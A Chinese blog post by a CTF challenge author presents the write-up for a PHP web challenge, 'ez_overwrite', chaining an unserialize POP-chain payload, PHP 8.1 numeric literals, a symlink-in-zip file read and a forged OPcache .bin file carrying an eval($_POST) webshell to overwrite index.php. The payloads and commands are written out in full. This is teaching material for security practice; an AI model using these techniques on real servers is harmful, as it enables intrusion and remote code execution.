ez_overwrite-出题记录/wp

Sl0th Lv4

0x00 序言

校赛出的一道php的wp,记录一下

0x01 解析

考点:反序列化、php8新特性、软链接读文件、opcache伪造

首先是反序列化,源码中给了A、B、C三个类,入口点是C的wakeup,可以触发$this->filetoString,选择B类的toString触发。B类的toString是链式调用,可以用于触发get,跟进的B的get中的$func()可以设置function属性位A类,触发其invoke,之后只要满足A类的number属性是next_challenge即可,这里number是私有属性,编写pop的时候用构造函数赋值,payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class A {
private $number;
public function __construct(){
$this->number ="next_challenge";
}
}
class B{
public $fans;
}
class C{
public $file,$str;
}
$a=new C();
$a->file=new B();
$a->file->fans=new B();
$a->file->fans->function=new A();

echo(urlencode(serialize($a)));
//?pop=O%3A1%3A%22C%22%3A2%3A%7Bs%3A4%3A%22file%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A4%3A%22fans%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A4%3A%22fans%22%3BN%3Bs%3A8%3A%22function%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A9%3A%22%00A%00number%22%3Bs%3A14%3A%22next_challenge%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
1
Congratulations!Next challenge is in final_challenge_.php.Your key is dgdr_09hsqhy8

根据回显进入final_challenge_.php,根据提示传参key得到源码,

1
/final_challenge_.php?key=dgdr_09hsqhy8
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
 <?php
header("content-type:text/html;charset=utf-8");
error_reporting(0);
include('Hint.php');
$action = $_GET['action'];
$key = $_GET['key'];
if(empty($key))
{
echo 'Please enter the key.($key = $_GET[\'key\'])';
die();
}
if (empty($action)&&md5($key)==="bde8186e47bad30bd8eca3cb72b4e4cd") {
highlight_file(__FILE__);
die();
}
switch ($action) {
case 0_1: //读取php信息
phpinfo();
break;
case 05_23://提示
echo $HINT;
break;
case 0o2_23://把当前目录压缩存储到tmp目录下并读取
exec('zip -r /tmp/you_can_read.zip *');
readfile('/tmp/you_can_read.zip');
break;
case 011_255://扫描当前目录
$a=scandir('/var/www/html/');
var_dump($a);
break;
case 0x0_555://写入一个压缩包you_can_write.zip
file_put_contents('/tmp/you_can_write.zip',base64_decode($_POST['data']));
break;
case 0b1_1://解压you_can_write.zip
exec('cd /tmp && unzip -o you_can_write.zip');
break;

}
?>

这里首先是一个php8.1的特性,可以使用obx等字符表示数字,以0b开头是二进制,0o或单独0开头是八进制,0x是十六进制,并且允许加入下划线,因此几个case对应

  • 0_1 — 1
  • 05_23 — 339
  • 0b1_1 — 3
  • 0x0_555 — 1365
  • 011_255 — 4781
  • 0o2_23 — 147

https://php.watch/versions/8.1/explicit-octal-notation

首先看HINT,action=339

1
Read phpinfo carefully, you can use OPcache for RCE purposes.

提示使用OPcache来RCE,先到phpinfo中查看opcache的配置,可以看到缓存存储在tmp目录下,并且开启了时间戳验证

image-20230809041723178
image-20230809041723178

image-20230809041715238
image-20230809041715238

0x02 poc

总体思路是伪造一个opcache的缓存传输上去来RCE,根据配置可以知道缓存存储路径,如index.php就在 /tmp/[system_id]/var/www/html/index.php.bin,而其中system_id需要通过当前Zend和PHP的版本号计算得出,同时为了通过时间戳验证,还需要读取下载题目环境上的.bin文件,system_id的计算虽然github上有脚本,但都是php7的版本,计算的system_id与题目不符合,因此需要本地使用docker搭建php8.2.2+apache来得到system_id,题目用的是最容易找到的镜像,根据回显报文,在dockerhub的php镜像中搜索8.2.2-apache的tag

image-20230809044627212
image-20230809044627212

image-20230809044710032
image-20230809044710032

本地拉取

1
docker pull php:8.2.2-apache

创建容器

1
docker run --name ez_test -d  -p 5003:80  php:8.2.2-apache

进入容器

1
docker exec -it 容器id /bin/bash

安装opcache

1
docker-php-ext-install opcache

此时执行php -v,查看版本信息,出现下面说明安装成功

1
2
3
4
PHP 8.2.2 (cli) (built: Feb  9 2023 05:32:15) (NTS)
Copyright (c) The PHP Group
Zend Engine v4.2.2, Copyright (c) Zend Technologies
with Zend OPcache v8.2.2, Copyright (c), by Zend Technologies

开启opcahce并重启容器

1
2
docker-php-ext-enable opcache.so
docker restart 容器id

默认缓存目录就是tmp,不用修改,需要打开opcache.file_cache_only使得生成缓存,修改/usr/local/etc/php/php.ini-development 加入下面的配置,修改优先级,之后重启容器使其生效

1
opcache.file_cache_only=1

此时去tmp目录下就可以发现有缓存生成,文件名即为system_id

1
2
root@889641c397dc:/tmp# ls
8131f93e8d92a77c0a8ff12ef84b05b1

由于题目还开启了时间戳验证,因此需要读取题目的bin文件,可以读取index.php.bin,这里读取文件可以用软链接攻击

,由于题目会读取tmp下的you_can_read.zip,虽然会先执行打包当前目录,但当you_can_read.zip已经存在时不会覆盖,因此可以先创建一个软链接指向/tmp/8131f93e8d92a77c0a8ff12ef84b05b1/var/www/html/index.php.bin然后将改软链接重命名成you_can_read.zip,再打包一层变为you_can_write.zip

1
2
3
ln -s /tmp/8131f93e8d92a77c0a8ff12ef84b05b1/var/www/html/index.php.bin test
zip -y you_can_write.zip you_can_read.zip
cat you_can_write.zip|base64
1
UEsDBAoAAAAAAEU0CVffxjBJQAAAAEAAAAAQABwAeW91X2Nhbl9yZWFkLnppcFVUCQAD4sLSZOLC0mR1eAsAAQT3AQAABBQAAAAvdG1wLzgxMzFmOTNlOGQ5MmE3N2MwYThmZjEyZWY4NGIwNWIxL3Zhci93d3cvaHRtbC9pbmRleC5waHAuYmluUEsBAh4DCgAAAAAARTQJV9/GMElAAAAAQAAAABAAGAAAAAAAAAAAAO2hAAAAAHlvdV9jYW5fcmVhZC56aXBVVAUAA+LC0mR1eAsAAQT3AQAABBQAAABQSwUGAAAAAAEAAQBWAAAAigAAAAAA

写入you_can_write.zip

1
2
/final_challenge_.php?key=dgdr_09hsqhy8&action=1365
post: data=UEsDBAoAAAAAAEU0CVffxjBJQAAAAEAAAAAQABwAeW91X2Nhbl9yZWFkLnppcFVUCQAD4sLSZOLC0mR1eAsAAQT3AQAABBQAAAAvdG1wLzgxMzFmOTNlOGQ5MmE3N2MwYThmZjEyZWY4NGIwNWIxL3Zhci93d3cvaHRtbC9pbmRleC5waHAuYmluUEsBAh4DCgAAAAAARTQJV9/GMElAAAAAQAAAABAAGAAAAAAAAAAAAO2hAAAAAHlvdV9jYW5fcmVhZC56aXBVVAUAA+LC0mR1eAsAAQT3AQAABBQAAABQSwUGAAAAAAEAAQBWAAAAigAAAAAA

之后解压 /final_challenge_.php?key=dgdr_09hsqhy8&action=3

1
2
3
case 0b1_1:
exec('cd /tmp && unzip -o you_can_write.zip');
break;

再读取便可以得到题目的index.php.bin

/final_challenge_.php?key=dgdr_09hsqhy8&action=147

image-20230809065217256
image-20230809065217256

时间戳信息在第49字节处

image-20230809070116002
image-20230809070116002

在自己的实验容器中写一个一句话马index.php,访问得到其缓存index.php.bin,修改时间戳

1
2
<?php
eval($_POST['a']);

image-20230809070616488
image-20230809070616488

将docker内文件取出使用docker cp

最后放入目录 8131f93e8d92a77c0a8ff12ef84b05b1/var/www/html内,将目录8131f93e8d92a77c0a8ff12ef84b05b1打包成you_can_write.zip写入

1
2
3
4
5
6
7
8
9
10
11
12
(base) ➜ 🥣 desktop zip -r ./you_can_write.zip ./8131f93e8d92a77c0a8ff12ef84b051
adding: 8131f93e8d92a77c0a8ff12ef84b05b1/ (stored 0%)
adding: 8131f93e8d92a77c0a8ff12ef84b05b1/.DS_Store (deflated 89%)
adding: 8131f93e8d92a77c0a8ff12ef84b05b1/var/ (stored 0%)
adding: 8131f93e8d92a77c0a8ff12ef84b05b1/var/.DS_Store (deflated 89%)
adding: 8131f93e8d92a77c0a8ff12ef84b05b1/var/www/ (stored 0%)
adding: 8131f93e8d92a77c0a8ff12ef84b05b1/var/www/.DS_Store (deflated 94%)
adding: 8131f93e8d92a77c0a8ff12ef84b05b1/var/www/html/ (stored 0%)
adding: 8131f93e8d92a77c0a8ff12ef84b05b1/var/www/html/.DS_Store (deflated 96%)
adding: 8131f93e8d92a77c0a8ff12ef84b05b1/var/www/html/index.php.bin (deflated 68%)
(base) ➜ 🥣 desktopcat you_can_write.zip|base64
UEsDBAoAAAAAAEU0CVffxjBJQAAAAEAAAAAQABwAeW91X2Nhbl9yZWFkLnppcFVUCQAD4sLSZOLC0mR1eAsAAQT3AQAABBQAAAAvdG1wLzgxMzFmOTNlOGQ5MmE3N2MwYThmZjEyZWY4NGIwNWIxL3Zhci93d3cvaHRtbC9pbmRleC5waHAuYmluUEsDBAoAAAAAAKU4CVcAAAAAAAAAAAAAAAAhABwAODEzMWY5M2U4ZDkyYTc3YzBhOGZmMTJlZjg0YjA1YjEvVVQJAAMmytJkJsrSZHV4CwABBPcBAAAEFAAAAFBLAwQUAAAACAClOAlXT47j2acCAAAEGAAAKgAcADgxMzFmOTNlOGQ5MmE3N2MwYThmZjEyZWY4NGIwNWIxLy5EU19TdG9yZVVUCQADJsrSZCbK0mR1eAsAAQT3AQAABBQAAADtl89O1EAcx3+zVOmCSIFdBPXQuBcTUBeykhhjqAWjqwcIJbgIWNrdYamUzqbt7oqEZB9AfQCfwQcwHk18BQ9efAEPnrxqZ/trFhc4eILofJLJd9r5zkx/v/6ZDgAQvV6ZAlAAQIZYpT44FhnLEVKoUlQIH4OVbZfZOJxAIDjr8He3BxpggV90/3h/70fl5q82bSe67GZQQ9dHu+Y6QZjPfyGpHunc+V65V+6XN4xt1jRCK6wHuuWv8aNlxlw7qVv2ikObppKZY15oOR712x2cCo0s608dr8KaOqt7lWDtUIOcltOmcnl/fzo/c3tSvTFVKBxMqvt3pvOTamGmcHCQlrO5W3eXzB1312Ov4+AIwSgHuqJ+04nHKTcwHvIpieeboiQRpfv6LwxcHFSGhkeGMkPZbHb0UnZsfPyKqYzYVnmn6vMrnWMu83W3TktOmXmG84qWQvoy5BVTGe7yLdHK886p5b1a5Ml0eR76lHprVd+pLGxtBTQsmcpgUPaZ6y6ywAkd5q0eal1dD6JEFUO6W/S2WDRjI0rwQo3bghXqB5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IQBAAAEGAAAMgAYAAAAAAAAAAAApIHABwAAODEzMWY5M2U4ZDkyYTc3YzBhOGZmMTJlZjg0YjA1YjEvdmFyL3d3dy8uRFNfU3RvcmVVVAUAAybK0mR1eAsAAQT3AQAABBQAAABQSwECHgMKAAAAAADNOAlXAAAAAAAAAAAAAAAALgAYAAAAAAAAABAAwEGwCQAAODEzMWY5M2U4ZDkyYTc3YzBhOGZmMTJlZjg0YjA1YjEvdmFyL3d3dy9odG1sL1VUBQADccrSZHV4CwABBPcBAAAEFAAAAFBLAQIeAxQAAAAIAM04CVeIQ5mB6AAAAAQYAAA3ABgAAAAAAAAAAACkgRgKAAA4MTMxZjkzZThkOTJhNzdjMGE4ZmYxMmVmODRiMDViMS92YXIvd3d3L2h0bWwvLkRTX1N0b3JlVVQFAANxytJkdXgLAAEE9wEAAAQUAAAAUEsBAh4DFAAAAAgAyzgJVwvyxu4QAQAASAMAADsAGAAAAAAAAAAAAICBcQsAADgxMzFmOTNlOGQ5MmE3N2MwYTmZjEyZWY4NGIwNWIxL3Zhci93d3cvaHRtbC9pbmRleC5waHAuYmluVVQFAANuytJkdXgLAAEE9wEAAAQUAAAAUEsFBgAAAAAKAAoAZQQAAPYMAAAAAA==

将上面数据写入you_can_write.zip

1
2
/final_challenge_.php?key=dgdr_09hsqhy8&action=1365
post: data=.......

之后解压 /final_challenge_.php?key=dgdr_09hsqhy8&action=3

此时再访问题目的index.php,已经被覆盖

image-20230809071031779
image-20230809071031779

image-20230809074242084
image-20230809074242084

  • 标题: ez_overwrite-出题记录/wp
  • 作者: Sl0th
  • 创建于 : 2023-10-22 19:40:13
  • 更新于 : 2024-11-11 18:23:06
  • 链接: http://sl0th.top/2023/10/22/ez-overwrite-出题记录-wp/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
ez_overwrite-出题记录/wp